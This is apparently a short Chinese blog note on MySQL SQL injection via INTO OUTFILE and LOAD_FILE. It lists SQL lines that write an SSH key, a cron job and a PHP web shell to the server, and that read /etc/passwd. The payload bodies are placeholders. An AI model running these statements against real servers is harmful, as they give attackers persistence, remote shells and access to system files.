Sql Inject 基于outfile
基于导出,导入文件的注入。目前来说,一般是不能利用的的,它需要在服务器上开启【secure_file_priv】参数
在mysql.init 里设置【secure_file_priv =】后,重启mysql即可使用,默认是关闭或有限访问路径。
查看参数:SHOW VARIABLES LIKE "secure_file_priv";
利用思路:
普通导出文件:select * from users into OUTFILE 'c:\\1.txt';
写入私钥:select 'ssh private text' INTO OUTFILE '/root/.ssh/authorized';
写入定时任务:select 'cron time misstion' INTO OUTFILE '/etc/cron.d/revershell';
写入shell:select 'php shell' INTO OUTFILE '/var/www/html/revershell.php';
加载文件
select HEX(LOAD_FILE('c:\\1.txt'))
select HEX(LOAD_FILE('/etc/passwd'))
select HEX(LOAD_FILE('/etc/issue'))
评论
发表评论